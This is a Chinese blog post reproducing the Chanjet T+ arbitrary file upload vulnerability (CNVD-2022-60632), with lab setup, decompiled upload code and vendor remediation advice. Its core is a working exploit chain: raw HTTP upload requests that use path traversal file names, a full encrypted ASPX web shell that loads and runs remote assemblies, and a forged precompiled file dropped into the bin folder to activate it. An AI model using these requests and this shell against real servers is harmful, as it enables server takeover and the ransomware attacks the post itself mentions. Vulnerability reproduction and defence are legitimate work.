一、漏洞描述

2022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。目前,已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。

CNVD对该漏洞的综合评级为“高危”。

二、影响范围

漏洞影响的产品和版本:
畅捷通T+单机版<=17.0且使用IIS10.0以下版本。

三、环境搭建

https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

  1. 下载并解压文件

  2. 进行环境检测

  3. 开始检测

  4. 检测通过

  5. 安装

  6. 选择标准版进行安装,安装时请关闭杀毒软件

  7. 等待安装完成,过程中需要配置MSSQL 数据库的。不设置即可

  8. 安装完成

四、漏洞审计

根据网上流传的payload,找到文件

TPlusStd\WebSite\SM\SetupAccount\Upload.aspx

发现该文件为编译的文件
畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件

TPlusStd\WebSite\bin\uploadapp.aspx.ae7ca9bd.compiled

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/App/UploadApp.aspx" hash="16f32931f" filehash="cea02207aaa6fee7" flags="110000" assembly="App_Web_uploadapp.aspx.ae7ca9bd" type="ASP.app_uploadapp_aspx"><filedeps><filedep name="/WebSite/App/UploadApp.aspx" /><filedep name="/WebSite/App/UploadApp.aspx.cs" /></filedeps>
</preserve>

搜索 App_Web_uploadapp.aspx.ae7ca9bd

// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{this.ReadResources();if (base.Request.Files.Count == 1){string text = "images/index.gif";object obj = this.ViewState["fileName"];if (obj != null){text = obj.ToString();}if (this.File1.PostedFile.ContentLength > 204800){base.Response.Write(string.Concat(new string[]{"<script language='javascript'>alert('",this.PhotoTooLarge,"'); parent.document.getElementById('myimg').src='",text,"';</script>"}));return;}if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg"){base.Response.Write(string.Concat(new string[]{"<script language='javascript'>alert('",this.PhotoTypeError,"'); parent.document.getElementById('myimg').src='",text,"';</script>"}));return;}string fileName = this.File1.PostedFile.FileName;string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);string text3 = base.Server.MapPath(".") + "\\images\\" + text2;this.ViewState["fileName"] = "images/" + text2;TPContext.Current.Session["ImageName"] = text3;}
}

代码大概的意思为:上传的文件不大于2M,然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。

构造一下上传代码

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.139
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 183------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="222.aspx"
Content-Type: image/jpeg1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

查看images文件中是否有这个文件

发现能够成功上传

五、getshell

用哥斯拉生成一个木马

然后cmd执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v /  -p C:\Tools C:\111 -fixednames

-p 代表的是你木马的目录。 C:\111 表示生成在那个目录中。

执行完毕后查看C:\111\bin目录

把666.sapx上传到网站根目录

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 1327------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../666.aspx"
Content-Type: image/jpeg<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r = outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){}
%>
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

把这两个文件上传到畅捷通的网站根目录的bin文件夹下

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 502------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/666.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/666.aspx" hash="88eec7b1a" filehash="ffffcef8fb51b1fb" flags="110000" assembly="App_Web_666.aspx.cdcab7d2" type="ASP._666_aspx"><filedeps><filedep name="/666.aspx" /></filedeps>
</preserve>
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

使用哥斯拉连接shell
http://192.168.154.129/tplus/666.aspx?preload=1

连接成功

六、修复建议

目前,畅捷通公司已紧急发布漏洞补丁修复该漏洞,CNVD建议受影响的单位和用户立即升级至最新版本:
https://www.chanjetvip.com/product/goods
同时,请受漏洞影响的单位和用户立即按照以下步骤开展自查和修复工作:
1、用户自查步骤:
查询本地是否存在website/bin/load.aspx.cdcab7d2.compiled、website/bin/App_Web_load.aspx.cdcab7d2.dll、tplus/Load.aspx文件,如存在说明已经中毒,须重装系统,并安装产品打补丁。

2、未中毒用户请:

  1. 更新最新产品补丁。
  2. 安装杀毒软件,并及时升级病毒库。
  3. 升级IIS和Nginx低版本至IIS10.0和Windows 2016。
  4. 本地安装客户需尽快确认备份文件是否完整,以及做了异地备份。云上客户请及时开启镜像功能。
  5. 未能及时更新补丁的用户,可联系畅捷通技术支持,采取删除文件等临时防范措施。

3、已中毒用户请:

  1. 检查服务器是否有做定期快照或备份,如有可通过快照或备份恢复数据。
  2. 联系畅捷通技术支持,确认是否具备从备份文件恢复数据的条件及操作方法。

参考链接:https://www.o2oxy.cn/4104.html

畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现相关推荐

  1. 漏洞复现 用友畅捷通T+任意文件上传漏洞(CNVD-2022-60632)

    文章目录 漏洞复现 用友畅捷通T+任意文件上传漏洞(CNVD-2022-60632) 1. 用友畅捷通T+简介 2.漏洞描述 3.影响版本 4.fofa 查询语句 5.漏洞复现 6.POC&E ...

  2. WSO2 文件上传 (CVE-2022-29464)漏洞复现

    1.漏洞描述 WSO2是一家成立于 2005 年的开源技术提供商.它提供了一个企业平台,用于在本地和整个 Internet 上 集成应用程序编程接口(API).应用程序和 Web 服务. 某些 WSO ...

  3. empirecms 文件上传 (CVE-2018-18086)漏洞复现

    1.漏洞详情 EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS). EmpireCMS 7.5版本中的e/class/moddofun.php文件的'LoadInMod'函数存在安全漏 ...

  4. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

  5. php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞

    事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...

  6. html 文件上传_某平台存在多处任意文件上传

    文章来源: EDI安全 01 漏洞标题 某平台存在多处任意文件上传 02 漏洞类型 文件上传 03 漏洞等级 中危 04 漏洞地址 http://xxxx.xxxxx.com/er.app.xxxx/ ...

  7. PHPCMS最新版任意文件上传漏洞分析

    工具:火狐插件hackbar 前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆-- 任意文件上传倒是很惊讶 ...

  8. 某office前台任意文件上传漏洞分析

    X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...

  9. 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞

    发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...

  10. php forms 上传更新json_通达OA任意文件上传漏洞详细分析

    影响 影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.): V11版 2017版 2016版 2015版 2013增强版 2013版. 这个漏洞是几个月前的漏洞,主要是学 ...

最新文章

  1. java strim性能_你所不知道的Java性能优化之String!
  2. 对于python来说、一个模块就是一个文件-PYTHON中的包和模块
  3. Nginx的Gzip和sendfile的共存问题
  4. when is odata request sent for Live report in SAP CRM
  5. 【视觉项目】【day6】8.26关于matchTemplate()以及NCC的思考整理
  6. numpy将所有数据变为0和1_Numpy库学习
  7. android代码清除锁屏密码,清除Android手机锁屏密码的三个小妙招
  8. 惠斯通电桥信号调理芯片_基于精密分流电阻器的惠斯通电桥校准
  9. python怎么让py里面逐行运行_Python读写文件详解,看完这篇即可完全理解「收藏」...
  10. ISP对pptpd及1723端口的动态管控初探
  11. TCP/UDP 协议格式
  12. 需求分析和常见的需求问题解决
  13. 小米其实已在悄悄涨价了,用户反应不一
  14. 微信扫码支付流程原理图
  15. 谷粒商城笔记+踩坑(17)——【认证模块】登录,用户名密码登录+微博社交登录+SpringSession+xxl-sso单点登录
  16. 计算机管理中没有telnet,Win10专业版没有telnet客户端怎么办?
  17. 《树莓派4B家庭服务器搭建指南》第九期:用树莓派低成本给热心老哥搭个窝,在树莓派建立BBS论坛flarum并映射到公网全攻略...
  18. 17.战略管理.组织级项目管理.项目集.项目组合.量化项目管理
  19. #今日论文推荐#北大校友发现级联光学新效应,首次验证不同类型非线性过程在量子尺度上的干涉现象,为集成量子光学带来新可能
  20. 莫拉蒂接过法切蒂接力棒

热门文章

  1. 关于JlinkV8在SEGGSE-JLINK驱动V6.0以上版本连接调试不了的解决方法
  2. 如何实现USB自动挂载?
  3. 《机器学习算法竞赛实战》读书笔记
  4. python实现团队游戏小程序——你画我猜
  5. wordpress壁纸小程序开源版_图片小程序源码
  6. x3850用uefi安装Linux7,X3850 X5在uEFI模式下无法安装Centos 6.2的解决办法
  7. Navicat安装与破解
  8. Abaqus帮助文档翻译——Abaqus/CAE主窗口介绍
  9. Java中常见的异常有哪些?
  10. STM8S103之IO复用